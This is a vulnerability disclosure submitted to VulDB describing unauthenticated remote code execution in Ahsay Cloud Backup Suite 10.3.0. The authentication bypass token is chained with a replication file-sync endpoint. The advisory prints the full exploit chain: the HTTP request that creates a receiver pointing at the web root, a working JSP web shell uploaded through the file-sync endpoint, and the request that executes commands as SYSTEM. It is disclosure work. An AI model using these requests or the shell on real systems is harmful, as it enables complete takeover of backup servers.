| 제목 | Ahsay Systems Corporation Limited Ahsay CBS 10.3.0 Remote Code Execution via Arbitrary File Write |
|---|
| 설명 | Armadin chained an authentication bypass with an arbitrary file write vulnerability in the Ahsay Cloud Backup Suite (CBS) "Replication Receiver" feature to achieve unauthenticated remote code execution as `NT AUTHORITY\SYSTEM` on the underlying host. The application's API accepted a static `Random` token in place of valid credentials, allowing Armadin to configure a malicious receiver and write a Java Server Page (JSP) web shell directly into the live CBS application directory. If exploited, an attacker could execute arbitrary operating system commands on the host, resulting in complete system compromise.
### Affected Scope
- `/rps/api/json/UpdateReceivers.do`
- `/rps/obs7/rpsfile/upload`
### Technical Details
Using the static `Random` token obtained as described in the aforementioned authentication bypass finding, Armadin sent an unauthenticated request to `/rps/api/json/UpdateReceivers.do` to create a Replication Receiver with `SystemHome` set to the live CBS web application directory (`C:\Program Files\AhsayCBS\webapps\cbs`) rather than a backup storage path:
```http
POST /rps/api/json/UpdateReceivers.do HTTP/1.1
Host: [REDACTED]
Content-Length: 420
...omitted for brevity...
{
"Id": 999,
"ReplicationEnabled": true,
"LoginName": "nick_armadin",
"Password": "not_needed",
"Alias": "rce",
"SystemHome": "C:\\Program Files\\AhsayCBS\\webapps\\cbs",
"ObsVersion": 1,
"RestorePointInterval": 7,
"RetentionCustomizationPolicy": 0,
"CrcEnabled": false,
"CrcHour": 0,
"CrcMinute": 0,
"V6ReplicationEnabled": false,
"Random": "Y8QmE[REDACTED]"
}
```
*Figure 11: Unauthenticated request to create a malicious replication receiver*
```http
HTTP/1.1 200 OK
Date: Tue, 30 Jun 2026 22:36:13 GMT
...omitted for brevity...
{"Status":"OK"}
```
*Figure 12: Server response confirming the receiver was successfully created*
The `"Status":"OK"` response confirmed the receiver was created without valid credentials, using only the `Random` bypass token.
Armadin used the file synchronization endpoint exposed for replication receivers, `PUT /rps/obs7/rpsfile/upload`, to write a JSP file directly into the directory specified by `SystemHome` above. The `X-Rsw-Custom-Encode-Path` header contained a base64-encoded filename that Armadin randomized to prevent unauthorized discovery. Armadin also configured the web shell to require a hardcoded credential, preventing unauthorized access during the assessment.
```http
PUT /rps/obs7/rpsfile/upload HTTP/1.1
Host: [REDACTED]
X-Rsw-Request-0: bmlja19hcm1hZGlu
X-Rsw-Request-1: ZHBNajRmcV[REDACTED]
X-Rsw-Request-12: dHJ1ZQ==
X-Rsw-Custom-Encode-Path:
Rm1QYXJjNlpWNWFxVndlYmpETkhjVnhwOTRxVjRyWTd2MG1iQVZUNXlrZWJBWDJDWWRmLmpzcA==
Content-Type: application/octet-stream
Content-Length: 802
...omitted for brevity...
<%@ page import="java.io.*,java.util.*" %><%
String secret = "wbNikXa[REDACTED]";
String cmd = request.getParameter("cmd");
String key = request.getParameter("key");
if (!secret.equals(key)) { response.sendError(404); return; }
if (cmd == null) { out.println("OK"); return; }
ProcessBuilder pb;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
pb = new ProcessBuilder("cmd.exe", "/c", cmd);
} else {
pb = new ProcessBuilder("/bin/sh", "-c", cmd);
}
pb.redirectErrorStream(true);
Process p = pb.start();
BufferedReader br = new BufferedReader(new
InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) { sb.append(line).append("\n"); }
p.waitFor();
out.print(sb.toString());
%>
```
*Figure 13: Request to upload the JSP web shell payload via the file-sync endpoint*
```http
HTTP/1.1 201 Created
Date: Tue, 30 Jun 2026 22:34:15 GMT
...omitted for brevity...
```
*Figure 14: Server response confirming the web shell was successfully uploaded*
The `201 Created` response confirmed the file was written successfully to the live web application directory.
Armadin subsequently requested the uploaded JSP file directly, supplying the Armadin-defined secret key and an OS command (`hostname && whoami`) as query parameters:
```http
GET
/cbs/app/FmParc6ZV5aqVwebjDNHcVxp94qV4rY7v0mbAVT5ykebAX2CYdf.jsp?key=wbNikXa[REDACTED]&cmd=hostname%26%26whoami HTTP/1.1
Host: [REDACTED]
...omitted for brevity...
```
*Figure 15: HTTP request executing a command via the uploaded web shell*
```http
HTTP/1.1 200 OK
Date: Tue, 30 Jun 2026 22:35:49 GMT
...omitted for brevity...
[REDACTED]
nt authority\system
```
*Figure 16: Server response displaying the output of the executed command*
The response confirmed arbitrary operating system command execution on host `[REDACTED]`, running as `NT AUTHORITY\SYSTEM`. |
|---|
| 원천 | ⚠️ https://www.ahsay.com/en/support/help-centre/cbs/release-notes/v10.3.2 |
|---|
| 사용자 | nickc (UID 100056) |
|---|
| 제출 | 2026. 08. 21. PM 09:25 (1 월 ago) |
|---|
| 모더레이션 | 2026. 10. 03. PM 03:13 (1 month later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 413351 [Ahsay AhsayCBS 까지 10.3.2 Replication Receiver UpdateReceivers.do Random 권한 상승] |
|---|
| 포인트들 | 20 |
|---|